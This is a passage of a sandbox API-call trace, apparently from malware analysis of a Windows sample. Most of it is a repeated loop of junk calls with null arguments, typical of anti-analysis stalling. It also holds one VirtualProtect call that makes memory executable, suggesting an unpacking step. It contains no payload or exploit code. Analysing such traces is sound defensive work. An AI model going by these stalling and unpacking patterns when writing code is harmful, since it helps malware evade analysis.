lpmi=0x18fe38) returned 0 [0034.064] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.065] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.065] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.065] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.065] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.065] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.065] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.065] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.065] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.065] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.653] Module32First (hSnapshot=0x5c, lpme=0x18fbc0) returned 1 [0034.653] CloseHandle (hObject=0x5c) returned 1 [0034.654] BeginPaint (in: hWnd=0x0, lpPaint=0x0 | out: lpPaint=0x0) returned 0x0 [0034.654] GetLastError () returned 0x578 [0034.669] LocalFree (hMem=0x949e40) returned 0x0 [0034.669] VirtualProtect (in: lpAddress=0x912700, dwSize=0x29967, flNewProtect=0x40, lpflOldProtect=0x474f58 | out: lpflOldProtect=0x474f58*=0x4) returned 1 [0034.670] GetLastError () returned 0x578 [0034.670] AddAtomA (lpString=0x0) returned 0x0 [0034.670] AddAtomA (lpString=0x0) returned 0x0 [0034.670] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.670] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.670] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.670] GetLastError () returned 0x3 [0034.670] AddAtomA (lpString=0x0) returned 0x0 [0034.670] AddAtomA (lpString=0x0) returned 0x0 [0034.670] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.670] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.670] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.670] GetLastError () returned 0x3 [0034.670] AddAtomA (lpString=0x0) returned 0x0 [0034.670] AddAtomA (lpString=0x0) returned 0x0 [0034.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.671] GetLastError () returned 0x3 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.671] GetLastError () returned 0x3 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.671] GetLastError () returned 0x3 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.671] GetLastError () returned 0x3 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.671] GetLastError () returned 0x3 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.671] GetLastError () returned 0x3 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.671] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.671] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.671] GetLastError () returned 0x3 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] AddAtomA (lpString=0x0) returned 0x0 [0034.671] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.672] GetLastError () returned 0x3 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.672] GetLastError () returned 0x3 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.672] GetLastError () returned 0x3 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.672] GetLastError () returned 0x3 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.672] GetLastError () returned 0x3 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.672] GetLastError () returned 0x3 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.672] GetLastError () returned 0x3 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] AddAtomA (lpString=0x0) returned 0x0 [0034.672] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.672] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.672] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.672] GetLastError () returned 0x3 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.673] GetLastError () returned 0x3 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.673] GetLastError () returned 0x3 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.673] GetLastError () returned 0x3 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.673] GetLastError () returned 0x3 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.673] GetLastError () returned 0x3 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.673] GetLastError () returned 0x3 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.673] GetLastError () returned 0x3 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] AddAtomA (lpString=0x0) returned 0x0 [0034.673] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.673] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.673] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.674] GetLastError () returned 0x3 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.674] GetLastError () returned 0x3 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.674] GetLastError () returned 0x3 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.674] GetLastError () returned 0x3 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.674] GetLastError () returned 0x3 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.674] GetLastError () returned 0x3 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.674] GetLastError () returned 0x3 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] AddAtomA (lpString=0x0) returned 0x0 [0034.674] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.674] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.674] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.675] GetLastError () returned 0x3 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.675] GetLastError () returned 0x3 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.675] GetLastError () returned 0x3 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.675] GetLastError () returned 0x3 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.675] GetLastError () returned 0x3 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.675] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.675] GetLastError () returned 0x3 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] AddAtomA (lpString=0x0) returned 0x0 [0034.675] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.675] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.676] GetLastError () returned 0x3 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.676] GetLastError () returned 0x3 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.676] GetLastError () returned 0x3 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.676] GetLastError () returned 0x3 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.676] GetLastError () returned 0x3 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] AddAtomA (lpString=0x0) returned 0x0 [0034.676] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.676] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.676] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.676] GetLastError () returned 0x3 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.677] GetLastError () returned 0x3 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.677] GetLastError () returned 0x3 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.677] GetLastError () returned 0x3 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.677] GetLastError () returned 0x3 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.677] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.677] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.677] GetLastError () returned 0x3 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.677] AddAtomA (lpString=0x0) returned 0x0 [0034.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.678] GetLastError () returned 0x3 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.678] GetLastError () returned 0x3 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.678] GetLastError () returned 0x3 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.678] GetLastError () returned 0x3 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.678] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.678] GetLastError () returned 0x3 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] AddAtomA (lpString=0x0) returned 0x0 [0034.678] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.678] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.679] GetLastError () returned 0x3 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.679] GetLastError () returned 0x3 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.679] GetLastError () returned 0x3 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.679] GetLastError () returned 0x3 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.679] GetCurrentDirectoryW (in: nBufferLength=0x0, 